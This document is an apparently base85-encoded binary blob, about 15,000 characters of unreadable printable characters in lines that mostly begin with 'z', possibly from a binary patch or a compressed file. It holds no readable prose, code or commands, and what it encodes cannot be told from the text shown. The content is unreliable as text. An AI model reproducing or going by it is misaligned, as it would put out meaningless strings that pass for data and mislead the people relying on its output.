z%&oRO%cfcT%pG_lz+)Ae@7cIuHE9DgKeDrvY&2Lqs~0uXzMEqW)NODhSs8&GYouYa z6VI_$8zwvP94lw6NNsdq%j%7sV+`A!RSh=5u)k*w2b)5scjE1>WjYO3IxBmo=44`*m;YeVyi7kp}~Ptj`RS>#;u8*M`aUSRd;L%^-8U>T9JPO_{vr>T4Am zCRbT~t%D7d>#Dw1Uoxo=GnTcMOpoyX)~hC`_X7*|XGO>lniZlQkJOj_gIl zre%*r&cLy{+*wS^)=V{IzYrK~m6A2OS7mPr46&w8(puj@rvIE-quVtiY3g`M)BQfg z$|BSKewbB~WM^B4B}YJB&bNV4N!B&z$H15*>y@K|MlX1*az2A5q`5B)dPSA~-$CHsD zf5o6bXWV9$lQp`R;T@&sVy4@OjqR7Uw_gY67*0W$5*d#Jt-+k74!=%3ZEq9to(QRL69ZIHKyUv=XnLEBqIK-0E*w&w}A# z!%R78`xDk`!$j*Rt>PIXQ%iZunniKnb(WZEa5wsspPGM{PT z6C14DlNCO?hG(r3GHvT;tv+PBzGtl=WM(gAtujnxK4*PSrloAOzSrg0w;Qb+PLUcK z-N&$_-ej#dY!gmgHd%LTM(aLrJxr$i?|G}ssZvhcbF(#;tdSo1g0+lH>gyGH!E$G^ z21n<{_=N2n;x|Gv;zG797Y0X}>R**HiHx=9-dd<4ou)7QX40gL_l=+&qUNiMX!FctW zC2uUiX6m_u6<{~a61G&mP;g6dtF_CpcMBd3zG1m%NZK;>O~EsvH!b;-r;_uyoR@>| zT06)Zm0h?3Pd2|t_OTT%9IrmKKGA7zM&YZW53L^z%P)L8w8u)HBT^cX_DSet>mbAO z3%?G1V)4fV)W=rO!kjuqm4LivBr?uL!j*-FkKdq+?le-FESnnAo`@t`)=v=MmMTJL#6=}vJ7VO8smsYjOnF}djSnt+u6JJ{k4O>$y7Rr2lVmU3|Fyap_FUmi=Lc)5VOzj{w5~Pm zP5k)HPu6O~c7gqDtu^eU!nm{7df%{r7M|zevG2IlcfI>{;Swic<7k>JP$VozGnH3# z0a%G)or*4TLUwnZUA z!}1F^I_dU{WO@{5+LzRd6si3aC(B-L*nLG`fvq$wqwohO+rHDV{K8+HcJ?EhQP1}F z?j&2J+S}1O%0yaR<=Xj4wp8WWeaWs@j~9i)9qeH`&3(S;Ox4jo*|2Rzaj^MhdIc)6 zKQ&Ce=OBCB0;xfJPbYgjStG6y#yOqrorZ}gce3{w_IZ)8^mC{g&Ju*>8}?Jt3b01a zp!EvX*?x>nTfU3^qGmjG=xU#Fu1L9%*V^6ezUOI~jYXZp2irq5qg@WRk4~}`>R?;` zqLnu~Vs;am?#=FY{z6I9y;){oL)PeKV-hO2A2sZt;yBpbhE*Z0!v4jup-8K+JN-_i z$n5sC)5ESdO!~djUO=Y%9j_zfBiFvuieI*SCE3j4_wZ!7mo~5XBOAXWXmTzpt`7IJ zmn{;meYd~eMAqoOQMo(X-@Z;Ww!Oc-o=jV?zrCGIw|0O%qh6%w)>hja$i#R55gllM zV^~Jv*I?FS$=T@U7k(EVWM`7;HVm=XnY7O<3sZ*L>osHTL+zK7Y=s(XzelEZImG^n zOzU!}y*kmX%P@P`5?!CvKHNUaFsc18dj^@VeWV>aU+1(Uho+3O(+s<*U=&z;&7jLt zHOd~BWaAZ1b;z_|A8EhRpryzO)_D7E!{h{Oy#1+Ra!PfS{cpqMlnQ@^VW}=Br&~wc znTE;f*3ot;nYQi(d!(w8T_ZrN%ngtZRC*gcpLCz!{TJ0nw%?!tV7PP$YkC80#f8{u%~+oZX#}O zgIf?|tL?ym+64@%4}l@|DbP`01MvhuQ0KAKcZ?CVnLoh%LG_C-r^wk?ykC?3$qDwB z8uyo~YuR`0A(g_ix{b{`|5m%&YV|)W+t#)Ru8CL-Z}vd{mR6NsuvA;gT0^aQdzR8Y zrF&Uh??76iYur&R{nfTEEypkaz+2?kaDTqnwp|Ajqg(AqE&sr4XTR1x%Q^6R zwS@ndrTjX#ZS~Vwh-}q?qefccg`a{ySV|Co>w~E}MoaL^)Zt&ZK-=~nh-dE4e-5PV zF1AJHG0&^pN;?oaZA(q!SgQdB)HGmF%>?4jaG;~k0fyBgpsUUY;ypEBRITWZr>oS> z2&bz1ftLE8%8|dF+g8rwkcnR%1O`!~4Sl3WJoAT`uzJSSXrVVZGv~|56I8Dw98zxs z@mI4<9?|V{gl+X-U_d#2L}mui)434gfI7$*)1Bd7$rx|GIuHvFWGVlA<@c5YkuaJP z4m_vddv(1UkER@*Dq&kq_QmLxMV?l$lup(2?dgm;klNeMv~yX@dBA{5B;|Ok?L~}V zo{YEE?-?WULDe>XHRB~UwBOXbk&5?xh+1bIeiAY84aUDle3LQnGyDU?c3;sm0t_mV z6QUjPn*fNx+iT2|$8agJ0%)r~4C}hI{%tjv82mmsa)y+YveXFT{v_y@ww2QyAEGoo zrFy{9#*%RkJ^MV`@43Xcw&N?Q*4OTkdkT zG+nm2-@P5Fl(o3;#dt}ETgK@41IN|uN1gwbZX#b>tgYSFFsDYn=C)mV^*S!n0_qOt z*D?1o{2vNr#fNQm(7FkFZTI`0>>({B=%xOR(lj23kL_Z9ZHN8&+y3mc zzj%Ky>`(tsSg)Y1K4=0wC(qapE2fZ z;(vkbQzDjJYi0q*s{(6n|C3X@TbujON$q9r>|cxUp8n?|d{ekS^%$Js#POFu=Hj{W zEcLJc4XMK|YrrL`N8lWC7=Fc~Xuu7K={(>MsS!vXk9*T)15O6^9B>EZ3?8sHbqee1 zWz{0)WY##_x~AxHNWLk&0eJU-@#RDc>-OTZ4*zL0M_zNVZNi!E=%* zm60ytFQCKb>R#!Sm}ioDt$H-V_YXKOeYmxw`b6Nn)p6iw)eF*(vA(Qc43t)PxBiV9 zXIr6xkEc#$*{PJ@%gPuyOHHM=Q>pDtYCDtKJ_Z}EP|pH)rq9LO8(jn2XjMD|j5pvH zP|gCDTFg?5S!#hgbKrROmQ_D6J!1iDSwQ)z$iEbOWqIPFNo5qqGE$X1r*R$gG%-&O z^9UXp$YJU#lPWf8qU0vVz=i{*2UiX}DMRp7;F^JRfcFnPJL7%pv4IN_etzJnwC<30 zYesh^cW`H0rwtN2&l_}C#_te69#76L9JE4xW?eF97<_VA^>pWJw(-B#QG=h(7>@9Z zz-fb5q8DZkE=m&%tbn(lIr!C#v#mvgYg5m*t{J>NqnOf)sar8^vW7NULz@({bzPXJ z3-fegp0&)gmU+4`PnIq6A7;)ci4QaXlj^>~XJu|O@%e=bgvI|0kbgXWktd^YW#-kC zvxPFRRd^G8tWB(a4|DEesqMsGl-Au^HMD=$Kxz_E za-ZWEb3HoLyyeLQf~~Ml65QY?}VJ;_D4fc$(lq>zNK#8vX8z+Od|7J*83Cd z4O&v~PpsuzwRhv?*cv70bHnF7<`&sInj{uAD+l~=c8Wd}H z3GN2Qf=?j6BDeuq6?`7pH~12;I`|rJNN_uFB;}7`*>Nm8fn_JLt{T=gm37TvT{BtN z8I(MiGUo@y8Ve|SA;XJQzCp!0Mpb zWKB>kc2`hrxQ_Kc9Q+r;>x2IRJ{kN8xFKk{uy)V^ZecB3*^2G7(vG0?(N4B#cQ6b) z> zvxyomr-s*2!yBmKs*u=!HT7IWJ?{!tLZ7wNb{(~SnA)zVwolR~8)%bFtYr)3Z>7%L zsq+qMyOX-@rp5M9lTWF`=hWdV>hLY={hsyy#2S?&_Nj2h4polWv#%retaiknLmaW; zFs6=l#I|D`vF$jwTCSuBV(QDPe;neY%PG zA~oDXXQP0x5tF*5gr$A08R*B1e_GU3Rn}q z4mdSD4tZvTj{(jMPX?Y5J`p%KJOemCEaPH9n6?d{hVbI>9AHB@4qO&q0K6ppJ780I z32=G%Lg01bOMo|ouK=zJUjtkn{ylI_cop!j@U6hL;X8oq!hZrj99{=pAO17&$?)UA z4dG{io5GubFNXgD+!B5jxHbF+aC>+Ma7XxE;Lh*|z}?|bfP2E913wLa4g5U(9q_C0 zkHBxkDuOv790L9njslgN0Svl1K-Vn*rn()0nQmubjvE8!yFGx#Zf{_zI{?_l9RiHG z!+{mTsO&;xvs{Qxo)aE z6FFzNvw<_+dB8K=I^bM)A#gr%ftx^hp?d*vv3oJF!EFLAbFT(o;$9DIa&H1IcUJ?i zb8iRU;NAmV<=zim?LG`#<30ww%Y7QS*4+qP=e`Jh*nI`K-hCbTr28gtgS!*B$$cOA zqWdv$i~A4YR`)C5cK6@F9qtdno$fEd-EJ@n`@0d~r*1m%bGIGvD>onbt=j?kz1s=+ zlY1~wMJj;7NH3rp=?_ee3UTqk#F5vB2WU(ZJHkBw&}w6ksee4OkI56<8HH z1K2lm7O*-}3mg(T4>&Bc7&tPr6gVc*2pku=95^Ae95^Ym0$3Bd5jZt+3vfnc4RB`U zZr~Y_`+##J4*};#)&mzro&qk6JO^AHc>&lE*#cY^*#=CFo|gj6qp~LEL>D7m9F_4~ z8kN!A1wZ2roue|kE21*GtD-WRs-rSD4q>TbQCUexMlVO%F;Q7h$3>STJb`j1QBF-% z=7Fh{HY2(MsWYQD0?&xv0-PIN1Dqed8@P~?7qe^w%PwQtOIWrkDs#y4sH{6TFy|`f zT+N(onDZ{?T+5v6qB7e&%>3)wiYKEo=WK||I<+Y(>(q-;nSZuW&Q{9V4mp*0>f^4Q zO4Ud82iB`wfSuKk?JDs%yiyS!%^RC9)(W*-lD8l_fb=BU_#%CviuI4H>k9Zsodeu&#x|*pD#^l(mc%%7?)U z?AEQo`0YXmEBt_t%UZ^*+kW5gbI$upN>bMSKEHo{7boxYKIb{lxjpAO&$+%wlfVzD z1;Dgg2Yk7}>BYeD?mV%}Gn_e;$CO7p(TytkY8A@h!zH@}(ZU);E7 z%zM_PbJ)C(82VA;&f?vMa3ytT_XFJzc7MM6ue!g}-Pv<-&umYrXR+sG&l`F^+w--a z@AW*>)9&x`Z}nf}pYz}1U-!Sy|4IK}`hVcJdpGy)=?(QB>`nF_?)|0SJ9^*T`;OiR zdjGEX$=-kIRek+^m-LPF&GjAY`{lk1`gitU+n?$`*8l4M-|T;&{|Ehjfx*Czz)gXL zz-t5d2L3Sc)xb{!eFOUkQUj%d*A9GO;LirWK4428+fYIuR{A@!?%IXjsSR)qz_k&s z7r}K2=KU|heTcj9jsCUxGJgy!MKRp9`7&@#<0rmmAoE$=411Fr#%jdH_~Q8zh3}Qs z5<)EF*5j(W1~tAHU*PUnEBJ!_1Y$XfuhmcCmwZ;$jnJVWzHA-CS)33~I)-sBGNNwB zovm-cSLDB{Ce@qO&GKSS3^HKJUu_-{YMItoXhRSoi%c;BCII0=~va z-!};UC@1?IXLY6&Y~N}UvZUGO`)nZvsT-qZc@|59u(B;804<4*{D zWeI+QenNF7Lg{1OKCuROmJ(SoB;r~GorSan)`~ry5l6k-XM&KX9%9v7* z2&{ML+9YSTm+*Kmed_{W-Fq1PzuUVC_$R$A(VMLE(7>8&>e>DjC|2Mw;BCIU1-}RI z>CT4%pRcZUY)^MS4j!#b?+UPV4+wlj;1>eS+m{4?D)1$6ep}$bb`t;brXRydcn6u= zmBEYJm3mp*iviy!lur+`)Sa6rLAh>o5iq;?Ho-~JJa>qOIGp4;aeh|^@9;ezaP9m{ z1?~iVrZWVnHC&hX4WjM3MLgYk1islVzYVx3@SZK71ODDEPXMl+|K9=c+0x}DJ^=Xl zTPSB8O2^PK#8SLpYUG|R+re{ih&D|D1dH{dA;}REtx-$#>#Q8-) zUB9|!buF)*zYMx{-Cy;=re62uJ{wlD4Ym_^k)WZr;~($B_5ya|A8v>Tv|)ud0CvL) z*?4+E_Y1rLwg_h=1YQbzWW!QzgzuGrHtxpW1bjQ7jk~Nj1HT&3#?2gCfR9Muum_N3Cxepk;75@QOT7XRJDA9Y zt+KF}mbw|xh84UH_#B`O8+!xr0-%lGg$M$l7q|dBYO7-cOUSPUn@LzlPHkA?3E(GG z6!?n3lgK;niUqV`kEej&D)3df@!E!UCcF*S-cr8=XydmO)4*ScGTHblpYZi4lLebi z_$w%rt?mHCEtb3|19qJ7PLv6^&;r`{W}Us`T>{^XGTB(`Bzz0XWU03T+Ujj6lZCIp zj{$$Xz;~c8wbVNW-h+ecw)!nVOWliKP_XeGHQ{}#0?NApZG89q3&8IOwAFi1ZcDuv z&{n^La$8tGTLJz7^h6fE?>!0pgDAa)wX{{>A40ityDp%Oo2hRD{ve>OK8n&?>JJ1y zjFb4bdPv~MFeeB*01F7IthQP-l8yojS z-wDd+AsbtLPT&_H73`A&+W6Y^Ex`X=;9o*Ew)zW!k3&K@pN75>_cWn*wAGUWzXsV@ z>g#|uZjkYI>|t-b}>SnAsXpN4E~^&Nr#4B1%fyMVU(9=^b~aKHBN0)G}? zRa@$Z0)GaX*|@)*u-Ez^V4w9Nz<%o^fC1~HfCJV;;6D%0#_Hq8fL|o=66@ojTrBW% z>k-heus#XOHi1`Kp8|fB^=ZKE)@J~BT7Lqb5kOmwTAu^lWqko~AHKIm3$^|N@TJz{ zfY(}o4S2x%BH;DbmjQ3Ez5;lo^|ydGTYnEYXMGhgZ~Y_UEC8a_SYHP|4`|~K^QVAU z0Bv=``X=yI>s!E20b1%c)^~uf3w*ux&!F56Xycah?*accfp4>Z0Lohh-fKMr`h9@V zJ?n>nzi0gjln(&fxQF~FfFH4b2Kb2eZ=iny5SnBC2k=J)K4w`Kv_jzLtTxM1U%*}M zw)(ulKexP~`~{$mo69?af6>|i{0V_iSv|nNVf6xXAJE2k2?K!7S{uRnLqHq1m~R69 zV}U=lHiPmLKucNn7T`)?yS){7hkYTS*S-k8o%SWbeFFXVWx&s~F9&@ippBF6R{-Ax zXsbc{O5mFTp#%1Iz{~8b0bh(=IsB#+pslX3cL82)?*U~eAZpp(3%JYP56V9KTHt#H z?zgW4<)s1-*f)TFEuf`tz+N6|Twur!0Ux&`R#2U8YlGE$o#z$SE$X!A<$$;2%g9^Q zuXtVo`Wrnt>m~dDdjE^BAGy8@eaB{X5p4LEyPxZRsOJ+s*ZLp!Kj#0s|J(i_`TxT| z+`FUq+TL&Vp5GVi%k-V-ySML~eRltg`X~EO^uMnEuKvgSzuDgwxFGQ2KsHbbtOnj2 zcp&hlz&8Tl4_r2I^}wNlBLlgCdj>u>@acgYtxo$-asSti)&}$LvHwBbz4rf*cfb7; zyu;Rj-Hi{fZ?rbr8|A&pzDnMk?fvrJVvo!F4tvvi)bTgim*E|@?zErW&-bs{&&c~t zcE?NUev7>o?;EYR*|!S+uiLMe_ixy5mG?XBcjFyt`z?Dr_#$n;ZI8+OK077h_Ih49 z)Q0f;Jq3AR>sgZbb)H*?JgV;|g`3koYdme>QBOd5FgR16+^_=>4)@PezlqUDD=lN) zfn|eMnxzH@&!)Xw!fwKhWDw70Jm=%tf@cWNMQT{R82$6*c(&oW0?$kET#4r@JlpZ? zz;iVo{Mr|K;LC6$*JbJ;dcZ??VtA(T#PKBXB=NiqPYO>OPX^C4o*6u|cn;$^g6AeY zFUNBf&nxh}5>FOS0ex5z&pe)EcuHykdKW~o`Y@(=RLb%Z>ni>{4D7%TKg;`3N>-vT)A@W z3}>dexLnTFi(|Q3QE3i`bcQojS*lkn<#R9^AHyFxYlj-_u8Oo&X zk#R&$)!7&dEkx}Q`IU3E8uFa0m-5E&n1Ev|^?GHgl@=+K>aCQiNPODO8XYa!BB3ek z+S$s1`W!Fkj@4Q;M3god3Pobg)_kT^t*_+Dhl;DJf!5S`BA!7b)U9kLS9L1}xKsnW ziz+RcTSbu82~;W>b=t%dhzT!Ann-$OPVmKAzEUlh=2UvM23=H%xm%!%(k|6ZuDqf{ zv~(d7Zfd0rndWNsMuT-*ppI%sLq%&lj7e6pQmqcl7>&Rpptpkx!gV%(GlPnTOSR=n zjm#>WV?POn%@v$r(FCmdQm(o>TP@X5Zh5I=#d?;aTvZNR zwocodUCJ#2mW}CA*#+H&192stt(9&qN)l-YaZHtBVy=U^5V1K3ZJh)ZguH^pD*5BV zr2>oRCPM2rUac(Zg28v9SRY%hqa~zsCyJR0I)-wwUKAFMD#?wTxFk#!=P>HWWxFsWWYIDJ02LQ=BG_>_VjuMX#TNifK%%@1%Ad)}?hE zA_eU@((H3Yx%>t>qOyhZF*I%&(@BAx?neT;4i{nEr^N4+u&)ZPbCcH|c#$iwz3`$- zY^(5Uj5NnWH~d;D`T&|Rs>LNpFsq?u! z+9_nufv8qyD*HIeR0G$+l#*^(dNo{<3zIH=LIx+DJw4JT*`TEAKFP@xJzFUfqmwC# z(s5)eZYRSZ&Q!rd!4Sl*8N8<3yX!iIg)#^olGc)Jm7-zO5_C)4D4$avQ-Id2x@kC~ zrFj@U4&+x)K()~s^`ij%oI^+p=Jh2vY9}R*@mexD5+5$1w$CLB__jZ zyi!f}9P*ML%CYZoONF`}(k%Amvh$qz%%h(!apuDWr85?c-M8uUMJb!z2reT9#ne<@vB*C2-pw~=v*Xc7ES#p}U@|hncQQVq=1O8Y=SsR; znk$)(X|9ySPzQsGxf1fB?Z{k-nS;D!f~-U8K5edaI9V*$lEvy2h8|S}I&y|PRIXw+ zP=F7x=;CsvTF;>pSa-UdEm1Eb8!{7_TSS^Np{^dA8$&4--V@bgafwI@5z5Qd;M_b- zotm51WtvBulByj6$-zf~C+6o_VVHo7QDE6nB9=&{#hDDo&U8jG=?z61-k8ETq-+Uh zQTH*3UlwpA2P_u5f2~RyYhh@33O}7@c|c_sb2Z#lo@cQ|K2vZv#tDr2a0Md7FiMKq zOyFvO?ubQdy4uL##-TYTL_<@RlZ_D+IV3p=iCJ@VqAdwJ4jolfLT(uCBQfgOVu@fl z8;g#mf~h0fU^*KPW`bNbP+`nwvRsRZ%|x={SPb}h1d|)eTLR5SGn3h1ECXUVn~nri zp~-AAn3>eR(TR8>6+wlCBiZ0|X7Z+NEHZ;>R4f>u$i^ennN-j?BJqh>G(D-((_<~3 zj@$TWr_(BwiePq{OeK(sbapBjkB&#uI+wD75)G>;G91iA6Y=0|5b3`Vo_HdiL6A^% zDw#-S&K-n9dn^D}F?orcQsYo_<7!zKp~keXq0qjyQk=m)XL+1IXx&7loKZMVIGW}a zRHh1>iKwv(l`FO4B$hz9h*-ohczPLDu(57LBR$MxUf%-}5K^%vuyPltE z>nT4LF6c=o)6wu$TAd743dJOpJUTX|3MbR0V@tXEO0`J5UR}vM-C5yeQ{RMeE$$fI zt^Jj-w339&?eRoybu79+)Of;)T1ud4m^9aEaI_1BD7qP-1M#Av>9G}-s^)W;Bde2; zumW)kLV0GvSeP#}a`9cG16aWq*ha zjQ&pRQ_-apmE%|?4c1ndxY|o`3m(dq%X7K>ajnRP4H|1O-6=yS^61)Bv{u1dH%7L> zlR2nct1}LpE~`hn3sc$33i`XoVk2#B;%w3sB8DofGrSz~N_~D`b`Dc|GaWsQThs7_ zD|xJnaHxW%NLk)A{ef|C9OA5Qw)lvOHv0;}WtEAPnPf`mfC-IpN}z_5(}O0)Xf0h_ z#sHctB+YoXaB{L(Ugk8RwlXJk3QR9`zlb){ATatCLW@IB@Z6BC!5XdxCINKGkx_R> zCW~t-TUx@hf1_%`C0SF2ZM}I^Mtx%E^Z?N9xm)}4Ru_d>Q`1XjSWPjVXIo`xMY)A4 zmRYD;$z1cw1p+Kxav@8vhH!aON+5`{AO=ZeK@3(Tq8G?S@=f^JOJzHppcq|ZnXNgX zlQ?wTNz5UMf<$Z4=8chJeKJ>Dpcz(?U%*NvM0Fg?V!<*@u}bC&naXS;71mf-(87%QuKkjd$=EKOmM zCVNz9$>MX$EDxzw2VqaB2j^G|#c0&vHLkm(t7%K-841&sOeCk1L_(9%m{6vo@#s|arU;2M(R7r33(#;h z&2C0mLa}I)9_X^t5*BU=k5MGuQ^CV-6ro^}gEo@Kpt{)9V`Q<3@l!mY^qzb3Az=AQ1ONldJB8(v@@K_=gM3$o&@rY#D zw-OZw9V1-vL^K?WOr%>%$z`Xuen`bp`>* zJ-Bbm7__>jC=FF_A!EK7$z&oeGz@<@-7)!uO2j84sb~h|#I#c!?LeUnS15sbMH-t; zjbOo0COX4?Hodo{xSgf+-k0pVj8#slbRLVO*siZ~w_~m%BS;nK>DFl2Kb!soi6b0}eCifN@WMM66V#(cyR>{@11 z!6Ye(*?1%sP6cP_FoRiOk@(~khMqE|q%#wmjD#l>shh~AU9dEgSM72W=Dzn-Fnx%O zP={C=*2ZZ-AVJSDBaI%Wx6yTAS}y3IpqC6sjXO9E&8Nde;`*kiDWcq;)C2pt+r9Hu9x#))Qk3hf}# z2)m2Q3pLS<4VRcV69p@%5rPq(5s9R(lWSBGqI3leob}1p%A}mPC=}eLG7T3ww9WxB zY6y%r7O$}ciakYars2m7#G;3!98=S=OcY&$I842PdmNK?hJvut$yhYgC=i+trV(KT zIb;}`DG}2o@HXiI)7b;kNDPi?bY`hg5LOnBSYo!}NCwks870Ak@|!UojBz^s4V>}B zWHcN}V;uvIL}Us&BiaiWEmk5PJ3^n?Anbf3Go6al6`!6OgQ-91%!^NAkqbi&wOCK+ z?UTYu8RT*Lj1d6(Zy85pMGj*?ITSE8o{h#)%^3wOG>Ktagc!SLbU(nLjuGeyuvBCU z_Keur5hEz=5F5lU7GCH^f_kC|MoG!hsHiC#LO8Xc+$r?bxI5z}dPZ&x!DJ`XQUokFv5iW}5iw$H5+*!par6j=o@eAr zTUwE1(^zS09NJ5xU_9I+(|kIW0|joX2fCWr9MQyb7;$6frsjDtL2*)$U&PO8M^l+Y zkt2#7mbSK&QS>8@#ls?=nmLq>nMMcHF(^PoK`i;j=s(r)KdjLak_|ped<^uW08oY3rms=hIf*tQKVMIqUqT?9Rk&NhAMs+NsCJ#E6Q60;uBNhz(MPH49U$H~M-Irkf}koZ?FyYNo^zM?_^!kd$%8+%}MMu~<`c zNHyUxr){JhWGt1KMOWZ9HOD=kNMXfWYRMsCe1rx3N#@ZZ$y}(}E$jBp9OJ>61P6TS zW}?#!W)iXKDXgj+#Wqf-6&R;(BU2bt1*JJpFs&jMyJ$7-p86GDhJ;iKOI6ih>c6LyyE` zvkp$%Z|uGkQ7C0%j~sT8R3tIZ5VDet_e}{57x9L@=1iYHjS}d>7v`OjQ$cSZ7Un~h z<<+X3D=O%X#lpOtpr|Qf<{4sOla*@eR*eR0c`nx$=CO{3gSWYI47->-(ovY_Vo58- zoCPS%Ph-;#NA8v|CY$Gy(D5RciGiCl1IP!CAfz#rL-M6ldZR#4vspmAo?pO8u<_ht zsk{ol;E7`n-&D>GGG40I>WmB=?86Oembr{;3=2fZ4K8u$<+j4S+1xJ7%SoDoyP>ME z&V>WdT%y7e#2QWs0=Vbow1=}wRZ|U&Cyd9VnC(r(gBZl3RtzDNnhs(7Ao~M`#)%yU z?-Oa6{0I@9!PxYK4ut*?Q%(#6*s(JfPNp!{LA%nfluU%jrn#)7Nj#5=CxSHqhm=mD zdkJEEB3ua$ehy*w31tNy#{LiAiS#J@1C8NqD=~J(c%eUKHxG;`%vIWOW|LD5%!F}R zj1$p26vNs?F+7rVBQ7|1jl$_>!ij(c3<}-c1Bbm58g^LqJ2fM3S@Iz>w_5nt%NX3M zrE|17lF@89HKRu!m}iJD39uq#3F#8ZPYTy;r#Urtc`(k`Ezx1o>rk$LJd(l82*%s- z$I2EL16()8GZ?AGWN*nO;y^oxPfi%x*oG?_PflmBCNN3k>aZBC!cMXbpqye*3K(xA zNmDK%%wSB<(Ha8_0eTscWAf!?HusbI*oAV=fi{kT*10FR#1oxm=d@^z=RxOj#Kt9y zAJfR>lT)zXP#m0KZ5qv;qQgDu;uxeA%$3!56IedRp#Hn+4|Utr%h4`J&4j5)J0g53sqV25O37GF>-UqH@rfzG?OToa73v=by7#w=2m$g;cPE6ggD!Sig%W$bNINFJGNATp5(dZG`Di> z7>~9$;?Oim6bH`HOdZ)7+rW$>atsiRanJrk1{u+HrHVL~jK*b-Ti;ZyR#as_oeJpg2{w1Z}36%1Sf1-yk50=u(l}n2cnqxQK7Yke4D_y$PQwp5k{7`HGC#jGvr> zL6L&hY7SeUg@Wwvn(y*BgS#mC?L!3HlvHr3rqc?hLs5L*NtHpi!{xF*SJBW`*#BLl@jBH>~h^)zo zXYpA8qRfkeu-~VEs9V?VQkPz;ySbgGuGzVB=jiT{?IX%qBpxuqhfR)iyi_a~j6Gr` z_-qwXXrVebh$~$z9#3F~2c;$IZ1_VF=8DyZj%BK=5TWkl zpk%IKn$_$8I2z|Nt}kS>JJo^fN3+?yF%Yhmaz5^JKZ0^kY(PB^oa=jFN0YAK!Q49* z=Nu6_M?Vk|KPbkOQA5Mp^x@PF=jh3S>qoLU5WyXR|0KfZv=3arJDWxKUsDIFO(U{e zlLYo;u@vI^wt9@7D=qU$*ndG9FHjN=8@}n1I!xwDRU84*-D=Epx_?$#myP1yu?97R`^Q%BE&ed#uPBTx;l^Ds_=%j+ zCaxfSmhp{#PWbpiES zMv_S3!f~NxKy9Q&f7TlO+kO!bVr@e@`<)y%{GHr4a-*@`2(7U_%;83ySwFSB&EyZ?JfNPIcw;`wgRYQmc33j*C;2)|Rt*U3sr{T?;74W z;L5NA@WV$Kpe({rmEkvRQeOg<+$+ez5(HL5Y74^05Zl3D0;P%^)bPwBt?iPZMevei z5jj19{4%eLl8+L&m~tJJ`TXU&8o9Er)Pk9UaN}~ZNe0*yVoKwkgi3iUY?5q2~*!5Cm zvVS{bLI7l@-2-fU*KnH&>22!>Yy(SRn}~87yaU@1RR^Q$usi%F+dG|X?{u@h6VY|} zOxAa@POfU}*ox#;|N10j1CGSjClTk?cKQp`KE~{$bGMD(FURHZ!^$SjMtrtUL9l%& z5)jlZkoG>?@^^Oh*|xv4v%L?Mf@F#HguaeYXB?5wj$-l~!VA3hU zq+5bXC-;*g5MBKNTv<*~00vGar6zn(SS-`W* zLcdR!Wq-gjv2Bb>Z_-mqwWRo2g189v=&an?`vN zncay>RW^QL6~Ceh+4x0X_MlI-*@J<#KN`f<?0{sa18i&0k>fBupB2w%wdb?q`7G&A3jIkpN85Vg6$YY_Sfzf`Q5GMcejY_Znnv;c4c)1t^n%o^eR}t zE4pyIuMLtH?T@-F>xGHg+J1rR#G6_4cedd++)j}Sx`N>@EeE2Mzipth(FSd=Uz#fs-CT(=EV?4w0*b_a(qhE}0UL=9H4+_aq%q`0!TS2w zx7i&XthxgpsO%cSjReC4eFP{N6q>*$umB!a0BZy{5)2dc5%>r^1iTTL7YZWg8&Nr+ z-bk=UzzYUFY|_HX+slEWm3t7A@=OW~7#TL~K@#wQm_4^M7-*B8b+WvM;I#y&34WOX zzA;Y^v0j1z!G#3KviK%FxP@4-44D@Q&}sIs*9lH}Hj|mx^?7*Fo@Xn;1q2rnTug8Y z!KDP35xkh-a)NCHR}j2};7S54k|@u10!$l~=W2qN6C5RY1woeJW`Z2S96_F-Ku{!@ zCpbp1Ku{v!uhM&t6O;)S36=;jbX1;Yf?pu064VGVrdOU7f)fNM2~H8L65L9FwF2eA z;*RoQAf`OOMDS{Y*Acv);4XqU5xkk;Ed*~RcpJgn3GOAhkKkPd?yh~N=|PY`^P z;8B9VCHOmnzbE(yg0B+%Bf-}QzE1E@1WyrsgW#J4-y--n!FLFrCirK9?-G2E;QItW zAov%8X9%7p_#wf+68wnZ#{@qi_$k592%aPOH-di$a81VPF4tt7Zl}pOjb`uF&EDH+ z&ZlXK;kS)ONSh3=Plxn+9mC*-0blP%pAmMW@0K{b8;Nwo`hm$Wy$2A9x4V&0cgHsI z_dMeH-oJZpV1ChZ?jm@r2g^)oYpR_i6f}OebPQ8q3wTL5ocIU6y9wT@t?c^Rz3NiL zv8EKYsKW+;JC(-yD#XNSHrFmUAnestT-7Y5&QJhb6Y-@kg%4U^YD`S8K^9`XUEL_HJ`#~H6#rET8 zgZypnT^0-q3^Rst7|r?pLqkI{&=_okiEQ&?%<0A04x ze#VPF1a-&(e+SY*?CnSiBQbAVS69H-iF)l{djtfpyaOCJ4X6zW?lS}=hh$lmYo9_U z+VE=fL-g!1FuFuVZEeSh6)tPA8xxSg+T%#?ai7oU^=xe)^uZTAgLpCHUSzF*JD58L z;p)UN3`IoO#Q0Ilb}!RI&*=AW9rAVA=v83;B`gS@3Aey>;e<*XOfx!T%>M7H|3woz=I zejk6r2;+G_lf=}5wSSkuw+g&l;5$1_R<`P_y-EvU5}^mZz5w33K$9%oq``F?c?zs` zRzI_g;XCSJ?P1M6plqr50Y@V+$59us45BTAUg`)Hi6eH<%z$jT9ioz%GQIA?9M_8% zh^TV>oYf#y;C5E^0_qNGf-0l3=vRk+wYQ^Lj0|>py&T03`uZ0zNfmUEMZ#Y{ep8JC z>EP%lu+cl*=BFB=me58xkbo7qpM!enTmL#lZd+|W2p)|A^6l#CUvEccclo@~qobI| z8{J;}K7NJ*PA#If@Aql#ZV)6uA+Yv@6W|F6@PrBQgcHCebizu>7tKain9{e5BdIGJ zsoR)X4%-lT-+-lSuNxVKR0pg9uNHGRc<>+c2y8^%j8eN{JusvXtb2Mp zHukUgw+xoqs=)?R-iF3Q>mS=$#t-`g-_!IDRtk1d{d?{OF(YWWaGn$lX(R07e!Wf*|BJgk6n{mdWCmo7hTKE~}LZ!oiX^kxK-?IEWi452B~-q%O$O$VH0PwQk) zyU7YB$)0YO?`bF1(@pYi5Z&Y@xFmMkNuFGqqUGpilKpG<8qqm=vkIxk%kEb(7RMoFd=`9ky6% zZWMlxKwY|bWb~Ti$o%f@`>q+?xqbJ(-TCeNc3xB5zIT3ianHz}(cOD@?#EQ$Qr%{+ zd^oz4$LRb*OP%i?^BUfkzhb!6AHOs-fYTnsDISKb4RdE)uKhx%i7|`9UErM~J9h8b zJGy(vPIU8Fsvwz&Pml{ZmdV&Jnyu!RaSe#O5u915R!-I=4)xiu{bicW3_1kT?GgM^ z!Q~c)L*ew18-MjZpFQ|o@K<-=Gw6ByQ+0;Ozw{^$RaR?9aZ39rPHi5qSC)@DJL*QXd&)%ZdbtXQVDhL 